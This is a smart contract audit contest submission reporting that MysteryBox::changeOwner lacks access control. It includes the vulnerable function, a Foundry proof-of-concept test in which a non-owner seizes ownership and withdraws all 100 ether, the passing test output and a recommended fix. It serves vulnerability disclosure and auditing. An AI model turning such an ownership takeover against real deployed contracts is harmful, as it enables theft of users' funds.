Submission Details
Severity:
Broken Access Control allows attacker to become protocol owner and withdraw all the funds.
Description
The function MysteryBox::changeOwner does not check if the caller is the owner resulting in the protocol owner being able to be changed by anyone.
Impact
An attacker can make themselves the owner and all of the funds can be withdrawn by the attacker.
Vulnerable function
function changeOwner(address _newOwner) public {
owner = _newOwner;
}
Standalone test file: TestMysteryBoxRentrancySimple.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {console2} from "forge-std/Test.sol";
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
import "../src/SimpleAttacker.sol";
contract MysteryBoxReentrantcySimpleTest is Test {
MysteryBox public mysteryBox;
address public owner;
SimpleAttacker attacker;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 1000 ether);
vm.prank(owner);
//seed the mysterybox (the victim) with 100 ether
mysteryBox = new MysteryBox{value: 100 ether }();
// credit the attacker with 1 ether so they can buy some boxes.
attacker = new SimpleAttacker{value: 1 ether}(mysteryBox);
}
function testBecomeOwner() public {
//create a user who is not the owner and has a balance of zero
address user1 = address(0x1);
assertNotEq( user1, mysteryBox.owner() );
assertEq(user1.balance, 0);
assertEq(address(mysteryBox).balance, (100 ether) );
// as that user change the ownership of the box to themselves
vm.startPrank(user1);
mysteryBox.changeOwner(user1);
// check that user1 is now the owner of the protocol
assertEq( user1, mysteryBox.owner() );
//as user1 withdraw all the funds
mysteryBox.withdrawFunds();
vm.stopPrank();
// verify that user1 has a non zero balance
assertNotEq(user1.balance, 0);
assertEq(user1.balance, (100 ether) );
assertEq(address(mysteryBox).balance, (0 ether) );
}
}
Run the exploit
forge test --mt testBecomeOwner -vvv
[⠆] Compiling...
[⠰] Compiling 1 files with 0.8.20
[⠔] Solc 0.8.20 finished in 3.10s
Compiler run successful!
Ran 1 test for test/TestMysteryBoxRentrancySimple.t.sol:MysteryBoxReentrantcySimpleTest
[PASS] testBecomeOwner() (gas: 55418)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 41.35ms (2.51ms CPU time)
Ran 1 test suite in 484.47ms (41.35ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Recommended mitigation(s)
Implement access control checking to ensure only the owner can change the owner.
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
Anyone can change owner
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.